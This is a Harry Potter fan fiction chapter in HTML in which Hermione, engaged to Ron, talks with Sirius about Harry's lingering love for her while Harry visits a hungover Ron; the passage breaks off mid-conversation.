	(255, 12, ' <p>Chapter 12 </p>\n\n<p>Two Conversations About One Thing</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After another restless night, Hermione arose from her bed at around 7:00 a.m. She sat on the edge of her bed for a couple of minutes yawning and stretching. She had slept, but not much. Her mind had been, and still was, racing with thoughts of last night&#8217;s events. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had come into her bedroom late last night and had watched her as she &#8220;slept&#8221;. Thinking that she was asleep, he had gently kissed her forehead and confessed that he still loved her. Then, he had quietly walked back out of the room totally unaware that Hermione had been very much awake and had heard every single word he had said. The words echoed in her mind. He loved her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wasn&#8217;t really surprised. She&#8217;d seen the way that he&#8217;d looked at her yesterday at the bridal shop. When they&#8217;d both been poring over the employee registers in her apartment, she&#8217;d seen him sneak looks at her when he thought she wasn&#8217;t looking. Of course, she reminded herself, she knew this because she, too, had been sneaking glances at him as well. And more importantly, there had been the two near kisses---once in her kitchen and the other before Ron had interrupted them with his unexpected arrival. She wondered what would have happened if Ron hadn&#8217;t shown up. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ughhhhhhhh,&#8221; she moaned as she finally rose from the bed. She wasn&#8217;t supposed to think about this. She was getting married soon. She shouldn&#8217;t even be thinking about this at all. There were more important things at hand----like finding out who was behind the plot to kidnap her and steal her research. This was to be her first day back at work. She would be entering the Ministry with Harry by her side. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry, Hermione thought. What am I going to do when I see him? What will I say when I see him? These questions kept going through her mind. She had no answer. She very well couldn&#8217;t tell him that she&#8217;d heard what he said, could she? That would be opening up a can of worms she wasn&#8217;t sure she was ready to open yet. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She quickly threw her robe on and took a quick glimpse of herself in the mirror. Smoothing back her hair, she took a deep breath and opened her bedroom door. The apartment was quiet. She hoped that maybe Harry hadn&#8217;t woken up yet. She tiptoed into the living room and saw that the room was empty. Harry&#8217;s blanket and pillow were neatly placed beside the couch.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good morning,&#8221; came a voice behind her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She jumped, startled. She turned around and found Sirius Black smiling broadly at her, holding a mug of coffee. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry to startle to you,&#8221; he said. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s okay,&#8221; Hermione said, taking a deep breath. &#8220;I think I&#8217;m awake now.&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She and Sirius exchanged amused glances. &#8220;What are you doing here?&#8221; Hermione asked him. &#8220;Where&#8217;s Harry?&#8221; she glanced expectantly around the apartment. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius sat down on the couch. &#8220;Well, something came up, unexpectedly. He asked me to fill in for him until lunchtime. He should be back by then.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Hermione said, both relieved and worried at the same time. &#8220;Is everything okay? Nothing&#8217;s wrong is it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course,&#8221; Sirius said, giving her a reassuring smile. &#8220;Everything&#8217;s fine. Nothing to worry about.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t know whether to believe him or not. His tone implied that he was hiding something. She decided not to push the issue. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she said. &#8220;I guess I&#8217;ll go and get ready for work, then.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sounds like a plan,&#8221; Sirius said, picking up yesterday&#8217;s issue of <i>The Daily Prophet.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;</i>Help yourself to anything in the kitchen,&#8221; Hermione said, giving him a faint smile. &#8220;I&#8217;ll try not to be too long.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Take your time, Hermione,&#8221; Sirius said. &#8220;No rush necessary on my part.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Sirius arrived at The Ministry a little after 9 a.m. They hadn&#8217;t spoken much on the way to her office, which left Hermione alone with her thoughts. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She couldn&#8217;t stop thinking about Harry and what he&#8217;d said. She wanted so much to talk about this with someone. But who? She couldn&#8217;t very well talk about it with Ginny. She was Ron&#8217;s sister. She certainly couldn&#8217;t talk about it with Mrs. Weasley---she was Ron&#8217;s mother. She wanted to talk to her mother, but she wouldn&#8217;t be able to do that with Sirius or Harry around all the time. If she was going to figure this out, she thought, she would do it on her own. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she and Sirius walked down the hallway to her office, she couldn&#8217;t help but relish the idea of getting back to work. The best way to forget your problems, she had always found, was to throw yourself into your work. She prayed that that would do the trick this time, as well. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here we are,&#8221; she said. &#8220;After you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius shook his head. &#8220;Ladies first.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Age before beauty,&#8221; Hermione said, trying to crack a joke. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You got me there,&#8221; Sirius said. He walked into the office and Hermione followed suit. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The office was small, but very comfortable. The room was decorated in Hermione&#8217;s favorite color of blue. She&#8217;d bewitched the ceiling to look like a beautiful night sky filled with stars. Hermione had always been fascinated by astronomy and she&#8217;d always loved looking up at the stars and the moon and reflecting on the beauty of it all. There were two desks---one for Hermione and one for her assistant, Joyce. Joyce had graduated from Hogwarts two years after Hermione. She was a short, petite witch with short brown hair. She had proved to be an invaluable assistant to Hermione in the past couple of years.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When she and Sirius walked into the office, Joyce gave them both a warm smile. &#8220;Hermione, welcome back.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Hermione said. &#8220;I hope you weren&#8217;t too bogged down with work.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Same old, same old,&#8221; Joyce said, smiling. &#8220;I held the fort down for you, so to speak.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Joyce looked expectantly at Hermione. It then dawned on Hermione that Joyce was looking at Sirus awaiting an introduction. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi,&#8221; Joyce said, smiling warmly at Sirius. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m so sorry,&#8221; Hermione said. &#8220;Joyce Wallace. This is Sirius Black. Sirius, this is my assistant, Joyce.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Joyce smiled brightly. &#8220;Sirius Black? The Sirius Black. The Auror? The Sirius Black.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius chuckled. &#8220;Well, I usually like to just go by Sirius Black..&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Joyce laughed nervously. &#8220;I&#8217;m sorry. It&#8217;s just that I&#8217;ve heard so many great things about you.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Only about a quarter of them are true, my dear,&#8221; Sirius said. &#8220;It&#8217;s a pleasure to meet you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Likewise,&#8221; Joyce said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched as Joyce grinned like a hyena at Sirius. Good grief, Hermione thought. If there had been a bad side to Joyce, Hermione would say it would be her overly flirtatious nature, especially when it came to older men. Ron liked to joke that it was her &#8220;daddy complex&#8221;. She could see that Sirius was handling it all in a good-natured way, but she could also see he was somewhat embarrassed by the attention. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Joyce,&#8221; Hermione said. &#8220;Could you go down to Rachel&#8217;s office and see if they have those reports yet?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sure,&#8221; Joyce said, finally breaking away from her obvious flirtation with Sirius. &#8220;I, um, left your messages for you. And you received some flowers this morning.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was then that Hermione noticed the beautiful bouquet of daisies that sat in a vase atop her desk. There wasn&#8217;t any need to read the card. She knew they were from Ron. No doubt&nbsp; he had sent them to apologize for his behavior the previous night. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks, Joyce,&#8221; Hermione said. She watched as Joyce smiled again at Sirius and then left the office. Hermione stood and looked at the flowers for a moment before finally sitting at her desk. She quickly began skimming through her messages. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not going to read the card?&#8221; Sirius asked. He had taken a seat across from her desk. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course,&#8221; Hermione said, sheepishly. &#8220;Of course.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She picked up the card and hesitated only a moment before reading the script inside. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The card read simply: </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Herm: </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sorry for acting like a total prat.&nbsp; Can you find it in your heart to forgive me? I promise I&#8217;ll make it up to you.&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Love, Ron</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She smiled at Sirius as she quickly put the card back in the envelope and placed it back on the desk. She went back to reading her messages and tried to not let Sirius know she could sense him watching her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Beautiful flowers, aren&#8217;t they?&#8221; he asked her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; she said. &#8220;They are very beautiful.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Daisies,&#8221; Sirius was saying. &#8220;I always thought you liked pink roses.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did you know that?&#8221; Hermione asked him, a look of amazement on her face. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, when you spend the past five years of your life hearing someone talk about someone else, you kind&nbsp; of remember these things.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You mean Harry?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Sirius said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wanted so much to know what Harry had told Sirius about her, but she didn&#8217;t feel like she could just come out and ask him. She sat there, looking absentmindedly at her desk as Sirius looked at her intently. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You want to know what else he said, don&#8217;t you?&#8221; Sirius asked, a devilish grin on his face. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione said. &#8220;It&#8217;s not really my business or my concern, you know.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well of course it is,&#8221; Sirius said. &#8220;It was about you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I really don&#8217;t think we should be talking about this,&#8221; Hermione said. &#8220;We should be talking about the research or something else, just not this, okay?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why not?&#8221; Sirius asked her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because this is a can of worms I&#8217;m not prepared to open up, okay?&#8221; she said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This can of worms is already open,&#8221; Sirius said. &#8220;It was opened on the Hogwarts Express when a girl barged into a train compartment looking for a classmate&#8217;s toad, I believe. Trevor, the toad, wasn&#8217;t it? Merlin bless Neville Longbottom and his poor lost toad.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sirius,&#8221; Hermione said. She could feel a lump rising in her throat. &#8220;Does Harry still love me? I mean, did he ever love me?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius sighed. &#8220;Yes. He loves you. I don&#8217;t think a day went by since he left that he didn&#8217;t think of you or want to be with you. It nearly killed him to leave you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But he did, Sirius. He did leave me,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Sirius said. &#8220;And he&#8217;s paid for that mistake every day since he&#8217;s left. He still loves you, Hermione. I can see it and I think you can see it, too. The question, though, my dear, is whether or not you still love him.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m marrying Ron,&#8221; Hermione said, simply. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You didn&#8217;t answer the question, Hermione,&#8221; Sirius said. She looked back at him, but didn&#8217;t say a word.&nbsp; &#8220;Okay. Here&#8217;s another question, do you love Ron?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s a stupid question,&#8221; Hermione said, rolling her eyes. &#8220;I&#8217;m marrying him, aren&#8217;t I?&#8221; She held up her left hand and pointed to her engagement ring. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you know that in all the years that I&#8217;ve been on this earth, I&#8217;ve never seen two people more in love or too people more pigheaded and stubborn than you and Harry. Look at all the time that you&#8217;ve wasted.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That wasn&#8217;t my fault,&#8221; Hermione said, quietly. &#8220;That was his doing.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Sirius said. &#8220;It was. But he&#8217;s back now.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For how long?&#8221; Hermione asked. &#8220;How do I know he&#8217;s not going to take off once this crisis is averted? How do I know that he&#8217;s even going to come back today?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t know that,&#8221; Sirius said. &#8220;But that&#8217;s what love is---taking chances. Wouldn&#8217;t you like to find out?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed. &#8220;What I want,&#8221; she began. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes?&#8221; Sirius asked, leaning forward in his chair.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What I want is to get back to work. To get as close to normal as it was before this whole thing started. So let&#8217;s get started, okay? We can start in the labs, okay?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Sirius said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let&#8217;s go,&#8221; Hermione said. &#8220;We&#8217;ve got work to do.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Boy, do we ever, Sirius thought as he followed her out the door. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b>While Hermione and Sirius were at work in the labs, Harry was knocking on Ron&#8217;s door. Harry heard the muffled sound of footsteps and a loud yell as Ron apparently had bumped into something. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bloody hell!&#8221; Harry heard Ron scream at the top of his lungs. &#8220;Hold on.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The sight that greeted him when Ron opened the door was not a pretty one. Ron&#8217;s red hair was all disheveled and he was pale. He was gingerly rubbing his knee and grimacing in pain. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; Ron said, out of breath. &#8220;What are you doing here so damn early in the morning.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not that early, mate,&#8221; Harry said. &#8220;It&#8217;s nearly 11. What&#8217;s up with you? Rough night?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How could you tell?&#8221; Ron asked, he ushered Harry inside the apartment.&nbsp; &#8220;I feel like my head is going to explode. I&#8217;ve spent the last hour praying to the porcelain gods, as you can imagine. Okay? And then, to top off the best morning in the world, I banged the crap out of my knee on the coffee table in my rush to open the door.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You make a lousy drunk, Ron,&#8221; Harry said, laughing. &#8220;You always have.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, well, I figure if you&#8217;re going to be good at something why not that?&#8221; Ron asked. &#8220;Seriously, mate. What are you doing here? Let me guess, Hermione sent you, didn&#8217;t she?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She actually has no idea that I&#8217;m here,&#8221; Harry said. &#8220;She&#8217;s at work.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I sent her flowers, you know? As soon as I came home last night, I made sure they&#8217;d be there when she got to work. And then, I proceeded to drink just about everything I had in this house,&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Um, Ron?&#8221; Harry asked, a worried expression on his face. &#8220;You&#8217;re turning green.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Ron said, turning greener in the face by the minute. &#8220;I&#8217;ll be right back.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; With that, he grabbed hold of his stomach and made a mad dash for the bathroom. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry chuckled to himself. As he waited for Ron to finish in the bathroom, Harry walked around and gave a look around the apartment. It was the typical bachelor pad. Everything was brown and blue and sparsely decorated. A few Quidditch posters were posted on the wall. On his fireplace, there were a couple of pictures of his family, a couple of pictures of little children who Harry assumed were Ron&#8217;s nephews and nieces, and pictures of Hermione. Her smiling face beamed back at him and waved enthusiastically. He flashed back to what he&#8217;d done last night. He thanked God she&#8217;d been asleep last night and had been oblivious to what he&#8217;d done and to what he&#8217;d said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He saw another picture of him, Ron and Hermione from their school days. Harry reckoned the picture had been taken sometime after their third year. Hermione was in the middle of the two of them and they were all smiling and waving at him. The young Hermione in the picture had her arm around the picture Harry. She was gazing at him adoringly. She leaned over and rustled his hair and he in turn poked her in the side and she began to dissolve in a fit of giggles. Ron just stood there beaming back at him, oblivious to what his two best friends were doing.&nbsp; He wished he could turn back time. Things were so much more simpler then, weren&#8217;t they. Or were they? He didn&#8217;t know anymore. </p>\n\n<p>Oh for Merlin sake, I sound like Cher. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Ohhhhhhhhhhhhhhh,&#8221; came voice from behind him. </p>\n\n<p>&#8220;There he is,&#8221; Harry said. &#8220;Every woman&#8217;s dream.&#8221; </p>\n\n<p>&#8220;Yeah, that&#8217;s me,&#8221; Ron said, smiling. &#8220;That&#8217;s it. I&#8217;m never drinking anything again. From now on, it&#8217;s just water and juice. Nothing else.&#8221; </p>\n\n<p>&#8220;I&#8217;ve heard that one before,&#8221; Harry said. &#8220;Every morning after you&#8217;d wake up from another evening&#8217;s drunken debauchery.&#8221; </p>\n\n<p>&#8220;Yeah, well I mean it this time,&#8221; Ron groaned. &#8220;I mean it. No more for me. Besides, I&#8217;m going to be a full-fledged married man soon. Can&#8217;t be doing this all the time.&#8221; </p>\n\n<p>Harry said. &#8220;No, I can&#8217;t imagine Hermione would like that too much.&#8221; </p>\n\n<p>&#8220;No,&#8221; Ron said. &#8220;She hates it when I get like this. Always has. You remember how she was back in school. Those lectures?&#8221; </p>\n\n<p>&#8220;She just cared about you, that&#8217;s all,&#8221; Harry said. </p>\n\n<p>&#8220;Yeah, I know,&#8221; Ron said. &#8220;So how bad did I sound last night?&#8221; </p>\n\n<p>&#8220;Pretty bad. She was really pissed at you,&#8221; Harry said. </p>\n\n<p>&#8220;Did you see her this morning? You think she&#8217;ll forgive me?&#8221; Ron asked, a worried expression on his face. 